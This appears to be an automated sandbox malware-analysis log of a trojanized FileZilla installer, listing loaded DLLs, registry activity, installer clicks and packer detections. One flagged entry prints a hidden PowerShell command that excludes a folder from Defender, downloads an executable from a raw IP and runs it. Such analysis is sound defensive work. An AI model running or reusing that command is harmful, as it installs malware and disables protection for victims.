Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libfzclient-commonui-private-3-67-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libfzclient-private-3-67-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libfilezilla-45.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wxbase32u_gcc_custom.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wxmsw32u_aui_gcc_custom.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wxmsw32u_core_gcc_custom.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wxmsw32u_xrc_gcc_custom.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libsqlite3-0.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgcc_s_seh-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libstdc++-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libfzclient-private-3-67-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libfilezilla-45.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgcc_s_seh-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libstdc++-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libfilezilla-45.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgcc_s_seh-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libstdc++-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgmp-10.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgnutls-30.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libhogweed-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libnettle-8.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgcc_s_seh-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libstdc++-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: zlib1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgcc_s_seh-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libstdc++-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wxmsw32u_core_gcc_custom.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgcc_s_seh-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libstdc++-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libpng16-16.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgcc_s_seh-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libstdc++-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wxbase32u_xml_gcc_custom.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libgcc_s_seh-1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libstdc++-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libhogweed-6.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libnettle-8.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: libnettle-8.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: globinputhost.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: ehstorshell.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Fzilla.lnk.2.dr	LNK file: ..\..\..\..\..\..\Program Files (x86)\Fzilla\filezilla.exe
Source: ??????? Fzilla.lnk.2.dr	LNK file: ..\..\..\..\..\..\Program Files (x86)\Fzilla\unins000.exe

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

Window found: window name: TMainForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Automated click: Install
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Automated click: I accept the agreement
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Automated click: OK

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Fzilla\filezilla.exe

Window detected: Number of UI elements: 19

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: rukT6hBo6P.exe

Static file information: File size 13585067 > 1048576

Source: rukT6hBo6P.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Users\user\AppData\Local\Activation.PDB source: Activation.exe, 0000000E.00000002.2076213670.0000000005F40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HP[o,C:\Windows\System.pdb source: Activation.exe, 0000000E.00000002.2051910312.00000000002F8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \System.pdb source: Activation.exe, 0000000E.00000002.2076213670.0000000005F6F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: Activation.exe, 0000000E.00000002.2076213670.0000000005F40000.00000004.00000020.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033FE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: Activation.exe, 0000000E.00000002.2060789056.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Oreans Projects\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: Activation.exe, 0000000E.00000002.2052205649.0000000000328000.00000040.00000001.01000000.0000001D.sdmp
Source:	Binary string: System.pdb source: Activation.exe, 0000000E.00000002.2076213670.0000000005F40000.00000004.00000020.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033FE000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Activation.exe

Unpacked PE file: 14.2.Activation.exe.300000.0.unpack :ER; :R; :R;.imports:W;.rsrc:R;.themida:EW;.boot:ER; vs :ER; :R;

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\Fzilla\filezilla.exe

Unpacked PE file: 13.2.filezilla.exe.7ff7b8c50000.3.unpack

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit			Jump to behavior

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: is-BVQAD.tmp.2.dr	Static PE information: real checksum: 0xc4187e should be: 0x1d26a
Source: is-6EDME.tmp.2.dr	Static PE information: real checksum: 0x0 should be: 0x33d4ea
Source: rukT6hBo6P.tmp.0.dr	Static PE information: real checksum: 0x0 should be: 0x343025

Source: rukT6hBo6P.exe	Static PE information: section name: .didata
Source: rukT6hBo6P.tmp.0.dr	Static PE information: section name: .didata
Source: is-6EDME.tmp.2.dr	Static PE information: section name: .didata
Source: is-HOTO1.tmp.2.dr	Static PE information: section name: .xdata
Source: is-G1HOC.tmp.2.dr	Static PE information: section name: .xdata
Source: is-68M3B.tmp.2.dr	Static PE information: section name: .xdata
Source: is-D9L8F.tmp.2.dr	Static PE information: section name: /4
Source: is-3N89B.tmp.2.dr	Static PE information: section name: .xdata
Source: is-6M3HV.tmp.2.dr	Static PE information: section name: .xdata
Source: is-PU0TT.tmp.2.dr	Static PE information: section name: .xdata
Source: is-MRNBG.tmp.2.dr	Static PE information: section name: .xdata
Source: is-5SMFM.tmp.2.dr	Static PE information: section name: .xdata
Source: is-S855R.tmp.2.dr	Static PE information: section name: .xdata
Source: is-CBLQR.tmp.2.dr	Static PE information: section name: .xdata
Source: is-FUL37.tmp.2.dr	Static PE information: section name: .xdata
Source: is-0BL99.tmp.2.dr	Static PE information: section name: .xdata
Source: is-ENHKS.tmp.2.dr	Static PE information: section name: .rodata
Source: is-ENHKS.tmp.2.dr	Static PE information: section name: .xdata
Source: is-0UGH2.tmp.2.dr	Static PE information: section name: .xdata
Source: is-75899.tmp.2.dr	Static PE information: section name: .xdata
Source: is-QDPQH.tmp.2.dr	Static PE information: section name: .xdata
Source: is-3PB36.tmp.2.dr	Static PE information: section name: .xdata
Source: is-5P94A.tmp.2.dr	Static PE information: section name: .xdata
Source: is-A7Q49.tmp.2.dr	Static PE information: section name: .xdata
Source: is-TST7B.tmp.2.dr	Static PE information: section name: .xdata
Source: is-OFR6V.tmp.2.dr	Static PE information: section name: .xdata
Source: is-PM1M7.tmp.2.dr	Static PE information: section name: .xdata
Source: Activation.exe.10.dr	Static PE information: section name:
Source: Activation.exe.10.dr	Static PE information: section name:
Source: Activation.exe.10.dr	Static PE information: section name:
Source: Activation.exe.10.dr	Static PE information: section name: .imports
Source: Activation.exe.10.dr	Static PE information: section name: .themida
Source: Activation.exe.10.dr	Static PE information: section name: .boot

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_06D75C60 push ecx; ret	10_2_06D75C62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_06D759C7 push ebx; ret	10_2_06D759C9
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_03115178 push eax; mov dword ptr [esp], ecx	14_2_0311518C
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_03117DD2 pushad ; retf 02BFh	14_2_03117DDD
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_0596700C push eax; retf 0597h	14_2_05967671

Source: Activation.exe.10.dr

Static PE information: section name: entropy: 7.9859308748687345

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-5P94A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\fzsftp.exe (copy)	Jump to dropped file
